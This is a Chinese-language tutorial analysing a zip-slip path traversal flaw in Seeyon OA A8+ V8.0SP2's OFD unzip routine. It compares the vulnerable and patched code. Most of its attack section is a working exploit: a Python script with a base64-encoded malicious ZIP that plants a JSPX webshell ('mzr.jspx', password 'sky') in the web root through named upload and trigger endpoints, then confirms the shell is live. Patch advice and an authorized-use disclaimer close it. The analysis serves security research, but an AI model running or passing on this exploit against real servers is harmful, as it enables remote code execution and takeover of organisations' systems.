致远OA ofd解压漏洞分析
字数 1070 2025-08-23 18:31:09

致远OA OFD解压漏洞分析与利用教学文档

漏洞概述

致远OA A8+集团版V8.0SP2存在一个OFD文件解压漏洞,攻击者可通过构造恶意OFD/ZIP文件实现任意文件写入,最终导致远程代码执行。

受影响版本

  • A8+集团版V8.0SP2(未打补丁版本)

漏洞分析

漏洞位置

漏洞位于seeyon-apps-edoc/com/seeyon/apps/govdoc/gb/util/OfdJavaZipUtil.class中的unzip方法。

补丁对比

补丁修复前后关键差异:

修复前代码

public static void unzip(String fileName, String path, Map<String, String> charsetMap) {
    // ...
    File f = new File(path + zn.getName());
    File file = f.getParentFile();
    file.mkdirs();
    fos = new FileOutputStream(path + zn.getName());
    // ...
}

修复后代码

public static void unzip(String fileName, String path, Map<String, String> charsetMap) {
    // ...
    File f = new File(path, zn.getName());
    File f1 = new File(Strings.getCanonicalPath(f.getPath()));
    if (!FileUtil.inDirectory(f1, new File(path))) {
        LOGGER.error("发现文件解压漏洞攻击行为: " + AppContext.currentUserName() + " 文件路径:" + f1.getAbsolutePath());
        return;
    }
    // ...
}

漏洞原理

  1. 未修复版本中,直接将压缩包内文件名拼接到目标路径中,未做路径合法性检查
  2. 攻击者可构造包含../../路径的文件名,实现任意文件写入
  3. 通过写入JSPX文件到web目录实现远程代码执行

漏洞利用链

  1. 上传恶意ZIP文件

    • 接口:/seeyon/rest/editContent/saveFile
    • 参数:fileId(可控)、category=1
  2. 触发解压操作

    • 接口:/seeyon/content/content.do
    • 参数:
      • method=invokingForm
      • subApp=2
      • ofdFileId=[上传的文件ID]
      • isNew=true
  3. 文件写入路径

    • 目标路径:ApacheJetspeed/webapps/ROOT/[自定义文件名].jspx

漏洞利用步骤

1. 构造恶意ZIP文件

  1. 创建一个包含Webshell的文本文件,命名为../../ApacheJetspeed/webapps/ROOT/mzr.jspx
  2. 使用ZIP工具压缩该文件
  3. 使用010 Editor等工具修改ZIP文件中的文件名(需要修改两处)

2. 上传恶意文件

使用以下Python脚本上传构造的ZIP文件:

import requests
import base64

host = "http://target-ip"
headers = {
    "User-Agent": "Mozilla/5.0",
    "Cookie": "JSESSIONID=[有效会话ID]"
}

# 恶意ZIP文件的Base64编码
file_content = "UEsDBBQAAAAIANu5XVHzGO9FtgIAAOkFAAAwAAAALi4vLi4vLi4vLi4vQXBhY2hlSmV0c3BlZWQvd2ViYXBwcy9ST09UL216ci5qc3B4rVTfT9swEH4Gif/By5ODOrcDCoySSpQVaRvb0EqfEA+Oc20NqZPZTtcI9X/fOU5YKC9MWtRK5/Pd990v3/mDyc90llmyXqbKnOExChbW5mfd7gNfcWYKxUS27H6Z3HRv+BwCsgJtZKai4AM7CIYVQCI1CCtXwHI0IXKZZ9pGQQVQWJmy/U4ly6yW1kzoMrevjiYH0RinXM3ZftAd7u16EhAp19wiN6pQNoZMCawtqMSQS3e+zngCmjzt7e5MaVsjwkq5Y4ocNBXhAA8b/OdFnErhncmcxqWFu3sS19YabKEVqZxYAjOpoLKkcYf0OiRmKai5XTRo+Dvvvo60Ct4ILXObgkWF1WUFP7Faqjl5hDIKPvZ6sTg97Scn/f7h4Uk/GPgAfhVgLDNgLyxax4UFGpjHMug4t3DQgkm45VHjMAf7E1zmNGQahWsMnXpzOSPU2b6LiCrStE61QcHmkohMSmNh6VBudIbJ25L6Zta9DzzUTl0vkSUQOTCnJfXneNDcDU/ONdxmFAfmNAjJMCI9z0pan2/BiBs4PiKRP7JZpr/zJdDWJHkLH0Db/0f8gCNIPoELxuXgDV0O38AusoQGKNbXWD4/Hnf3oa8Ck2qVPQL1Xnjt8Z7vt+kcDJLUExM2vI7Oj0jYZk6qW2RV8JvUxE/elVWDvHkOoAbypk0QT65hDnCEPoYG09ur91jKzYuwNgRSA/9YWPe8l9IINrqYjI+Pava3lxej/KyM5UoA/S9FGhWzGeitUvnhfHuptgpTzeqlzBduE7gaVKLjfo49uBhPmqkWSCAtPfDAExC4B75COcHdRPHV/e1D2CHer3Z05lNqF9JspdhaRTREDRUsya6k4il1KYThyzoyfMU8NdQt08tMWdxxnsFlshHcigUdrwXkbsMQCLHlm0GzfNpaxmvceh/+AVBLAQIfABQAAAAIANu5XVHzGO9FtgIAAOkFAAAwACQAAAAAAAAAIAAAAAAAAAAuLi8uLi8uLi8uLi9BcGFjaGVKZXRzcGVlZC93ZWJhcHBzL1JPT1QvbXpyLmpzcHgKACAAAAAAAAEAGAAAKyVBBq7WAfv0tPzSyNkBzgG+GmrI2QFQSwUGAAAAAAEAAQCCAAAABAMAAAAA"

res = requests.post(
    url=host + "/seeyon/rest/editContent/saveFile?fileId=9095842667142857911&category=1",
    headers=headers,
    files={"file": base64.b64decode(file_content)}
)

3. 触发漏洞

# 触发解压操作
requests.get(
    url=host + "/seeyon/content/content.do?method=invokingForm&subApp=2&ofdFileId=9095842667142857911&isNew=true",
    headers=headers
)

# 验证利用是否成功
if requests.get(url=host + "/mzr.jspx").status_code == 200:
    print("[+] 上传成功")
    print("[+] Webshell路径: %s/mzr.jspx 密码: sky" % host)
else:
    print("[-] 利用失败")

4. 访问Webshell

成功利用后,可通过访问http://target-ip/mzr.jspx执行任意命令。

防御措施

  1. 及时安装致远OA官方发布的安全补丁
  2. 对文件解压操作进行严格的路径检查
  3. 限制上传文件的类型和内容
  4. 实施最小权限原则,限制Web服务器的写入权限

参考链接

  • 致远OA安全补丁下载:https://service.seeyon.com/patchtools/tp.html#/patchList?type=安全补丁&id=166

本教学文档详细分析了致远OA OFD解压漏洞的原理和利用方法,包含了从漏洞分析到实际利用的全过程。请仅将此文档用于合法授权测试和安全研究目的。

致远OA OFD解压漏洞分析与利用教学文档 漏洞概述 致远OA A8+集团版V8.0SP2存在一个OFD文件解压漏洞,攻击者可通过构造恶意OFD/ZIP文件实现任意文件写入,最终导致远程代码执行。 受影响版本 A8+集团版V8.0SP2(未打补丁版本) 漏洞分析 漏洞位置 漏洞位于 seeyon-apps-edoc/com/seeyon/apps/govdoc/gb/util/OfdJavaZipUtil.class 中的 unzip 方法。 补丁对比 补丁修复前后关键差异: 修复前代码 : 修复后代码 : 漏洞原理 未修复版本中,直接将压缩包内文件名拼接到目标路径中,未做路径合法性检查 攻击者可构造包含 ../../ 路径的文件名,实现任意文件写入 通过写入JSPX文件到web目录实现远程代码执行 漏洞利用链 上传恶意ZIP文件 接口: /seeyon/rest/editContent/saveFile 参数: fileId (可控)、 category=1 触发解压操作 接口: /seeyon/content/content.do 参数: method=invokingForm subApp=2 ofdFileId=[上传的文件ID] isNew=true 文件写入路径 目标路径: ApacheJetspeed/webapps/ROOT/[自定义文件名].jspx 漏洞利用步骤 1. 构造恶意ZIP文件 创建一个包含Webshell的文本文件,命名为 ../../ApacheJetspeed/webapps/ROOT/mzr.jspx 使用ZIP工具压缩该文件 使用010 Editor等工具修改ZIP文件中的文件名(需要修改两处) 2. 上传恶意文件 使用以下Python脚本上传构造的ZIP文件: 3. 触发漏洞 4. 访问Webshell 成功利用后,可通过访问 http://target-ip/mzr.jspx 执行任意命令。 防御措施 及时安装致远OA官方发布的安全补丁 对文件解压操作进行严格的路径检查 限制上传文件的类型和内容 实施最小权限原则,限制Web服务器的写入权限 参考链接 致远OA安全补丁下载:https://service.seeyon.com/patchtools/tp.html#/patchList?type=安全补丁&id=166 本教学文档详细分析了致远OA OFD解压漏洞的原理和利用方法,包含了从漏洞分析到实际利用的全过程。请仅将此文档用于合法授权测试和安全研究目的。